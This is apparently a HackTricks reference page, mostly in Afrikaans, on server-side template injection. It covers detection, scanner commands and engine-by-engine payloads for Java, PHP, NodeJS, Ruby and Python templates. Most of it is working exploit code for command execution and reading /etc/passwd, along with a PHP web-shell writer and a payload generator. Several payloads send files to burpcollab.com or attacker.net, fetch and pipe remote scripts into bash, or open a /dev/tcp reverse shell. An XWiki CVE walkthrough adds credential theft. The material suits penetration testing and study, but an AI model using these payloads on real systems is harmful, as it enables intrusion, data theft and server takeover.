SSTI (Server Side Template Injection)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is SSTI (Server-Side Template Injection)

Server-side template injection is ’n kwesbaarheid wat ontstaan wanneer ’n aanvaller kwaadwillige kode in ’n template kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieĂ« gevind word, insluitend Jinja.

Jinja is ’n gewilde template engine wat in webtoepassings gebruik word. Kom ons beskou ’n voorbeeld wat ’n kwesbare kodefragment demonstreer wat Jinja gebruik:

output = template.render(name=request.args.get('name'))

In hierdie kwesbare code word die name parameter van die gebruiker se versoek direk aan die template deurgegee met die render funksie. Dit kan moontlik ’n attacker toelaat om skadelike code in die name parameter te inject, wat lei tot server-side template injection.

Byvoorbeeld, ’n attacker kan ’n versoek saamstel met ’n payload soos die volgende:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die payload {{bad-stuff-here}} word in die name parameter ingevoeg. Hierdie payload kan Jinja template directives bevat wat die aanvaller in staat stel om ongemagtigde code uit te voer of die template engine te manipuleer, en moontlik beheer oor die server te verkry.

Om server-side template injection vulnerabilities te voorkom, moet ontwikkelaars verseker dat user input behoorlik gesanitiseer en gevalideer word voordat dit in templates ingevoeg word. Implementing input validation en die gebruik van context-aware escaping tegnieke kan help om die risiko van hierdie kwetsbaarheid te beperk.

Opsporing

Om Server-Side Template Injection (SSTI) te detect, is aanvanklik, fuzzing the template ’n eenvoudige benadering. Dit behels die invoeg van ’n reeks spesiale karakters (${{<%[%'"}}%\) in die template en die ontleding van die verskille in die server se reaksie op gewone data teenoor hierdie spesiale payload. Kwetsbaarheid-aanwysers sluit in:

  • Werperfoute wat die kwetsbaarheid en moontlik die template engine openbaar.
  • Afwesigheid van die payload in die refleksie, of dele daarvan ontbreek, wat impliseer dat die server dit anders verwerk as gewone data.
  • Plaintext Context: Onderskei van XSS deur na te gaan of die server template-uitdrukkings evalueer (bv. {{7*7}}, ${7*7}).
  • Code Context: Bevestig die kwetsbaarheid deur input parameters te verander. Byvoorbeeld, verander greeting in http://vulnerable-website.com/?greeting=data.username om te sien of die server se uitset dinamies of vas is, soos in greeting=data.username}}hello wat die gebruikersnaam teruggee.

Identifikasiefase

Die identifikasie van die template engine behels die ontleding van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak sluit in ${7/0}, {{7/0}}, en <%= 7/0 %>. Die waarneming van die server se reaksie op wiskundige operasies help om die spesifieke template engine te bepaal.

Identifikasie deur payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Gereedskap

TInjA

’n effektiewe SSTI + CSTI scanner wat nuwe polyglots benut

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

’n interaktiewe tabel wat die mees doeltreffende template injection polyglots bevat tesame met die verwagte reaksies van die 44 belangrikste template engines.

Exploits

Algemeen

In hierdie wordlist kan jy variables defined vind in die omgewings van sommige van die engines wat hieronder genoem word:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Haal die stelsel se omgewingsveranderlikes op

${T(java.lang.System).getenv()}

Java - Haal /etc/passwd op

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Jy kan jou payloads probeer by https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠ werk slegs op Freemarker weergawes onder 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Meer inligting

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Meer inligting

Thymeleaf

In Thymeleaf is ’n algemene toets vir SSTI-kwesbaarhede die uitdrukking ${7*7}, wat ook op hierdie template engine van toepassing is. Vir potensiĂ«le remote code execution kan uitdrukkings soos die volgende gebruik word:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke attributes geplaas word. Daarteenoor word expression inlining ondersteun vir ander template-lokasies, met sintaks soos [[...]] of [(...)]. Dus kan ’n eenvoudige SSTI-toetspayload soos [[${7*7}]] lyk.

Die kans dat hierdie payload werk is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese template-generering nie; templates moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie TemplateResolver moet implementeer om templates uit stringe on-the-fly te skep, wat ongewoon is.

Thymeleaf bied ook expression preprocessing aan, waar uitdrukkings binne dubbele underscores (__...__) vooraf verwerk word. Hierdie funksie kan benut word in die konstruksie van uitdrukkings, soos in Thymeleaf se dokumentasie gedemonstreer:

#{selection.__${sel.code}__}

Voorbeeld van ’n kwesbaarheid in Thymeleaf

Beskou die volgende kodefragment, wat vir uitbuiting kwesbaar kan wees:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dit dui daarop dat as die template engine hierdie insette verkeerd verwerk, dit moontlik kan lei tot remote code execution wat toegang tot URL’s soos die volgende kry:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Meer inligting

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Om filters te omseil

Verskeie veranderlike uitdrukkings kan gebruik word — as ${...} nie werk nie, probeer #{...}, *{...}, @{...} of ~{...}.

  • Lees /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Aangepaste skrip vir payload-generering
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Meer Inligting

Manipulasie van Spring View (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ouer weergawe van Pebble ( < weergawe 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuwe weergawe van Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is ’n open source-projek ontwikkel deur HubSpot, beskikbaar by https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Reggestel deur https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Meer inligting

Hubspot - HuBL (Java)

  • {% %} verklaring-afbakeners
  • {{ }} uitdrukkings-afbakeners
  • {# #} kommentaar-afbakeners
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Soek na “com.hubspot.content.hubl.context.TemplateContextRequest” en ontdek die Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Meer inligting

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) is ’n fundamentele funksie wat interaksie vergemaklik tussen die aanbiedingslaag (soos webblaaie) en die toepassingslogika (soos managed beans) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE-tegnologieĂ« om hierdie kommunikasie te stroomlyn. Die belangrikste JavaEE-tegnologieĂ« wat EL gebruik sluit in:

  • JavaServer Faces (JSF): Gebruik EL om komponente in JSF-bladsye te bind aan die ooreenstemmende backend-data en -aksies.
  • JavaServer Pages (JSP): EL word in JSP gebruik om toegang te kry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsyelemente aan die toepassingsdata te koppel.
  • Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naatlose interaksie tussen die weblaag en managed beans toe te laat, wat ’n meer samehangende toepassingsstruktuur verseker.

Kyk na die volgende bladsy om meer te leer oor die benutting van EL-tolkers:

EL - Expression Language

Groovy (Java)

Die volgende Security Manager-omseilings is geneem vanaf hierdie writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≀ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) lewer onbevestigde RSS-soekfeeds deur die Main.SolrSearch macro. Die handler neem die text query-parameter, pak dit in wiki-sintaks in en evalueer macros, so deur }}} gevolg deur {{groovy}} in te voeg word arbitrĂȘre Groovy in die JVM uitgevoer.

  1. Vingerafdruk & omvang – Wanneer XWiki agter host-based routing reverse-proxied is, fuzz die Host header (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) om die wiki vhost te ontdek, browse daarna na /xwiki/bin/view/Main/ en lees die voetskrif (XWiki Debian 15.10.8) om die kwesbare build vas te pen.
  2. Activeer SSTI – Doen ’n versoek na /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Die RSS-item <title> sal die Groovy-uitset bevat. Enkodeer altyd alle karakters in die URL sodat spasies as %20 bly; dit met + vervang laat XWiki ’n HTTP 500 teruggee.
  3. Voer OS-opdragte uit – Vervang die Groovy-lichaam met {{groovy}}println("id".execute().text){{/groovy}}. String.execute() spawn die opdrag direk met execve(), dus word shell-metakarakters (|, >, &) nie geïnterpreteer nie. Gebruik eerder ’n aflaai-en-uitvoer patroon:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (die script hou die reverse shell logika).
  1. Post-uitbuiting – XWiki stoor database-credentials in /etc/xwiki/hibernate.cfg.xml; die lek van hibernate.connection.password gee werklike stelselwagwoorde wat oor SSH hergebruik kan word. As die service unit NoNewPrivileges=true stel, sal gereedskap soos /bin/su nie addisionele voorregte kry nie, selfs met geldige wagwoorde, dus pivot eerder via SSH in plaas daarvan om op plaaslike SUID-binaries te staat te maak.

Dieselfde payload werk op /xwiki/bin/get/Main/SolrSearch, en die Groovy stdout is altyd in die RSS-titel ingebed, so dit is maklik om opdrag-ontleding te skrip.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Meer inligting

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Sjabloon formaat

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Meer inligting

Plates (PHP)

Plates is ’n templating-enjin wat in PHP ingebed is en deur Twig geïnspireer is. Anders as Twig, wat ’n nuwe sintaksis invoer, benut Plates egter inheemse PHP-kode binne sjablone, wat dit intuïtief maak vir PHP-ontwikkelaars.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Bladsjabloon:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Uitlegsjabloon:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Meer inligting

PHPlib en HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is dieselfde as PHPlib maar geporteer na Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Meer inligting

Ander PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Meer inligting

patTemplate (PHP)

patTemplate nie-saamgestelde PHP sjabloon-enjin, wat XML-tags gebruik om ’n dokument in verskillende dele te verdeel

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Meer inligting

Handlebars (NodeJS)

Path Traversal (meer inligting here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fout
  • ${7*7} = ${7*7}
  • Niks
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Meer inligting

JsRender (NodeJS)

TemplateBeskrywing
Evalueer en gee uitvoer weer
Evalueer en gee HTML-gekodeerde uitvoer weer
Kommentaar
andLaat kode toe (deur verstek gedeaktiveer)
  • = 49

Kliëntkant

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Bedienerkant

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Meer inligting

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Voorbeeld van server-side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Meer inligting

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Geen uitset
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fout
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Meer inligting

Ander NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Meer inligting

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Meer inligting

Ander Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Kyk na die volgende bladsy om wenke oor arbitrary command execution bypassing sandboxes in python te leer:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Meer inligting

Jinja2 (Python)

Official website

Jinja2 is ’n volledig funksionele sjabloon-enjin vir Python. Dit het volledige Unicode-ondersteuning, ’n opsionele geïntegreerde geïsoleerde uitvoeringsomgewing, is wyd gebruik en onder BSD-lisensie.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Sjabloonformaat

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nie afhanklik van __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
